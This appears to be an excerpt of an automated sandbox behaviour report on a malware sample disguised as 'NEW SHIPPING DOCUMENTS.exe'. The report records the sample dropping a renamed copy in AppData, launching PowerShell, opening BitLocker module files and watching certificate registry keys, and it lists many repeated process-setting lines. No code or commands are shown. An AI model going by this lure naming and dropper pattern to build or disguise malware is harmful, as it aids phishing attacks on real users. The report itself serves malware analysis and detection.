Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate
Source: C:\Users\user\AppData\Roaming\RvUJzKx.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot

Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\NEW SHIPPING DOCUMENTS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
